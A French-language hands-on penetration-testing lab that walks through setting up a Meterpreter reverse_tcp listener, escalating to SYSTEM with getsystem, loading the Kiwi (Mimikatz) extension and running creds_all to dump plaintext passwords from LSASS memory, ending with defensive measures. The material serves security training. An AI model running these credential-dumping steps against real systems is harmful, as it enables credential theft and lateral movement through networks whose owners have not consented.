Utiliser Kiwi pour extraire les mots de passe en clair dans Meterpreter

Kali LinuxBeginner
Pratiquer maintenant

Introduction

Dans la phase de post-exploitation d'un test d'intrusion, l'un des objectifs principaux est de collecter des identifiants pour se déplacer latéralement sur le réseau. Le Meterpreter de Metasploit est une charge utile puissante qui fournit un shell interactif sur un système compromis.

L'une des fonctionnalités les plus puissantes de Meterpreter est l'extension Kiwi, qui est un portage du célèbre outil Mimikatz. Kiwi permet aux attaquants d'extraire des mots de passe en texte clair, des hachages, des codes PIN et des tickets Kerberos directement de la mémoire de la machine cible, plus spécifiquement du processus Local Security Authority Subsystem Service (LSASS).

Dans ce laboratoire, vous apprendrez comment charger et utiliser l'extension Kiwi au sein d'une session Meterpreter pour extraire des identifiants d'une cible Windows simulée.

Obtenir une session Meterpreter avec les privilèges SYSTEM sur une cible Windows

Dans cette étape, nous allons simuler l'obtention d'un accès à une machine cible. Dans un scénario réel, vous utiliseriez un exploit pour délivrer une charge utile. Ici, nous allons configurer un écouteur (listener) en utilisant la console Metasploit Framework. Une cible simulée se connectera alors à notre écouteur, nous fournissant une session Meterpreter.

Tout d'abord, démarrez la console Metasploit. L'option -q permet de la démarrer silencieusement sans afficher la bannière.

msfconsole -q

Ensuite, nous allons configurer un écouteur pour "attraper" la connexion entrante de la cible simulée. Nous utilisons le module multi/handler pour cela.

use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444

Maintenant, lancez l'écouteur en tant que tâche d'arrière-plan en utilisant exploit -j.

exploit -j

Après quelques instants, une session sera créée. Vous pouvez lister les sessions actives avec la commande sessions.

sessions

Vous devriez voir une sortie indiquant une session active, similaire à ceci :

Active sessions
===============

  Id  Name  Type                     Information              Connection
  --  ----  ----                     -----------              ----------
  1         meterpreter x86/windows  WIN-TARGET\LabUser @ WIN-TARGET  127.0.0.1:4444 -> 127.0.0.1:54321 (...)

Maintenant, interagissez avec la session 1.

sessions -i 1

Votre invite changera pour meterpreter >. Pour utiliser Kiwi efficacement, nous avons besoin du plus haut niveau de privilèges, NT AUTHORITY\SYSTEM. Nous pouvons tenter d'escalader nos privilèges en utilisant la commande getsystem.

getsystem

Vous devriez voir un message ...got system. Vérifiez votre nouvelle identité en exécutant getuid.

getuid

La sortie attendue devrait être :

Server username: NT AUTHORITY\SYSTEM

Vous disposez maintenant d'une session Meterpreter avec les privilèges SYSTEM, prête pour les étapes suivantes.

Charger l'extension kiwi avec la commande load kiwi

Dans cette étape, vous allez charger l'extension Kiwi dans votre session Meterpreter. Meterpreter est modulaire, et ses extensions fournissent des fonctionnalités supplémentaires qui ne sont pas chargées par défaut afin de maintenir la taille initiale de la charge utile réduite. L'extension Kiwi contient toutes les commandes nécessaires pour effectuer des extractions d'identifiants de type Mimikatz.

Depuis votre invite meterpreter >, utilisez la commande load pour ajouter l'extension Kiwi.

load kiwi

Si la commande réussit, Meterpreter confirmera que l'extension a été chargée.

Loading extension kiwi...Success.

Avec l'extension Kiwi chargée, vous avez maintenant accès à un nouvel ensemble de commandes puissantes pour la collecte d'identifiants.

Lister les commandes kiwi disponibles avec help

Dans cette étape, vous allez vérifier que les commandes Kiwi sont disponibles. Après avoir chargé une extension dans Meterpreter, vous pouvez utiliser la commande help pour voir une liste mise à jour de toutes les commandes disponibles. C'est une bonne pratique pour confirmer que l'extension s'est chargée correctement et pour voir quelles nouvelles capacités vous avez.

Depuis l'invite meterpreter >, tapez simplement help.

help

La sortie sera une longue liste de toutes les commandes Meterpreter, regroupées par section. Faites défiler la sortie, et vous devriez trouver une nouvelle section nommée "Kiwi Commands". Cette section liste toutes les fonctions fournies par l'extension Kiwi.

...
Kiwi Commands
=============

    Command                Description
    -------                -----------
    creds_all              Retrieve all credentials (parsed)
    creds_kerberos         Retrieve Kerberos creds (parsed)
    creds_msv              Retrieve MSV credentials (parsed)
    creds_ssp              Retrieve SSP credentials (parsed)
    creds_tspkg            Retrieve TSPKG credentials (parsed)
    creds_wdigest          Retrieve WDigest credentials (parsed)
    dcsync                 Retrieve user account information via DCSync
    dcsync_ntlm            Retrieve user NTLM hash via DCSync
    golden_ticket_create   Create a golden kerberos ticket
    kerberos_ticket_list   List all kerberos tickets
    kerberos_ticket_purge  Purge any in-use kerberos tickets
    kerberos_ticket_use    Use a kerberos ticket
    kiwi_cmd               Execute a custom command
    lsa_dump_sam           Dump LSA SAM
    lsa_dump_secrets       Dump LSA secrets
    wifi_list              List wifi profiles/creds
    wifi_list_shared       List shared wifi profiles/creds
...

Comme vous pouvez le constater, Kiwi ajoute de nombreuses commandes puissantes pour interagir avec les mécanismes d'authentification Windows.

Extraire tous les identifiants disponibles avec la commande creds_all

Dans cette étape, vous allez exécuter la commande principale de l'extension Kiwi pour extraire tous les identifiants trouvés en mémoire. La commande creds_all est un wrapper pratique qui exécute plusieurs modules de collecte d'identifiants différents à la fois, ciblant divers paquets d'authentification tels que WDigest, Kerberos et MSV.

N'oubliez pas que cette commande nécessite des privilèges SYSTEM pour accéder à la mémoire du processus LSASS, c'est pourquoi nous avons exécuté la commande getsystem lors de la première étape.

Depuis votre invite meterpreter >, exécutez la commande creds_all.

creds_all

La commande prendra un moment pour s'exécuter car elle inspecte le processus LSASS. La sortie sera détaillée, montrant les identifiants trouvés pour différents fournisseurs. Ci-dessous un exemple de ce que vous pourriez voir.

[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============

AuthID      Package  Domain      User        Password
------      -------  ------      ----        --------
0;109871    NTLM     WIN-TARGET  LabUser     (null)
0;99876     NTLM     WIN-TARGET  WIN-TARGET$ (null)

wdigest credentials
===================

AuthID      Package  Domain      User        Password
------      -------  ------      ----        --------
0;109871    WDigest  WIN-TARGET  LabUser     P@ssword123!
0;99876     WDigest  WIN-TARGET  WIN-TARGET$ (null)

kerberos credentials
====================

AuthID      Package   Domain      User        Password
------      -------   ------      ----        --------
0;109871    Kerberos  WIN-TARGET  LabUser     P@ssword123!
0;99876     Kerberos  WIN-TARGET  WIN-TARGET$ (null)
...

Vous avez réussi à extraire les identifiants de la mémoire du système cible. L'étape suivante consiste à analyser cette sortie.

Analyser la sortie pour les mots de passe en clair

Dans cette dernière étape, vous allez analyser la sortie de la commande creds_all pour identifier les mots de passe en clair. La capacité à trouver des identifiants en clair est ce qui rend des outils comme Kiwi et Mimikatz si puissants pour le mouvement latéral.

Examinez la sortie que vous avez reçue à l'étape précédente. Les données sont organisées par paquet d'authentification :

  • msv : Ce paquet gère l'authentification NTLM standard. Il fournit généralement des hachages de mots de passe, et non des mots de passe en clair, sauf si l'utilisateur s'est récemment connecté interactivement.
  • wdigest : Sur les anciens systèmes Windows ou sur les systèmes où il est explicitement activé, WDigest stocke une copie chiffrée réversible du mot de passe de l'utilisateur en mémoire. Kiwi peut facilement la déchiffrer, révélant le mot de passe en clair. C'est souvent la section la plus précieuse.
  • kerberos : Ce paquet gère les tickets Kerberos. Similaire à WDigest, il peut également mettre en cache les mots de passe en clair pour les utilisateurs connectés.
  • ssp et tspkg : Ces paquets gèrent les identifiants pour d'autres services, comme les connexions Bureau à distance.

Dans l'exemple de sortie de l'étape précédente, vous pouvez clairement voir un mot de passe en clair pour l'utilisateur LabUser dans les sections wdigest et kerberos :

wdigest credentials
===================
...
0;109871    WDigest  WIN-TARGET  LabUser     P@ssword123!
...

kerberos credentials
====================
...
0;109871    Kerberos  WIN-TARGET  LabUser     P@ssword123!
...

En examinant attentivement la sortie et en recherchant des valeurs non-(null) dans la colonne Password, vous pouvez collecter des identifiants précieux. Ces informations pourraient ensuite être utilisées pour accéder à d'autres systèmes ou services en tant que cet utilisateur.

Résumé

Dans ce laboratoire, vous avez réussi à effectuer une technique classique de post-exploitation. Vous avez commencé par obtenir une session Meterpreter avec des privilèges SYSTEM sur une cible Windows simulée. Vous avez ensuite chargé l'extension Kiwi, qui intègre la fonctionnalité de Mimikatz dans Meterpreter.

En utilisant la commande creds_all, vous avez extrait des identifiants directement de la mémoire du processus LSASS. Enfin, vous avez analysé la sortie pour extraire un mot de passe en clair pour un utilisateur connecté.

Cet exercice souligne l'importance du renforcement de la sécurité sur les points d'extrémité. Les défenses contre ce type d'attaque comprennent :

  • La désactivation de l'authentification WDigest.
  • L'activation de la protection LSA (RunAsPPL).
  • La mise en œuvre du principe du moindre privilège pour garantir que les utilisateurs et les processus n'ont pas de droits administratifs inutiles.

Vous avez maintenant une compréhension pratique de la manière dont les attaquants peuvent exploiter l'extraction d'identifiants en mémoire pour compromettre davantage un réseau.